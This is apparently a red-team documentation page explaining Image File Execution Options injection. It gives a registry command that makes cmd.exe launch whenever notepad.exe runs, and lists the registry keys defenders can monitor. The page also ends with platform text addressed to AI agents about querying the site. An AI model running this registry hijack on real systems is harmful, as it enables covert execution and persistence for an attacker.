> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/privilege-escalation/t1183-image-file-execution-options-injection.md).

# Image File Execution Options Injection

## Execution

Modifying registry to set cmd.exe as notepad.exe debugger, so that when notepad.exe is executed, it will actually start cmd.exe:

{% code title="attacker\@victim" %}

```csharp
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "cmd.exe"
```

{% endcode %}

Launching a notepad on the victim system:

![](/files/-LJuLi6b-khGlSQqtP4p)

Same from the cmd shell:

![](/files/-LJuLi6n6w1tMjBQhq33)

## Observations

Monitoring command line arguments and events modifying registry keys: `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable>` and `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>` should be helpful in detecting this attack:

![](/files/-LJuM0ZLJjxu8EvZxHMZ)

![](/files/-LJuM3FP1jAXIjdK0-Nl)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1183>" %}

{% embed url="<https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/>" %}

{% embed url="<https://blogs.msdn.microsoft.com/reiley/2011/07/29/a-debugging-approach-to-ifeo/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.ired.team/offensive-security/privilege-escalation/t1183-image-file-execution-options-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.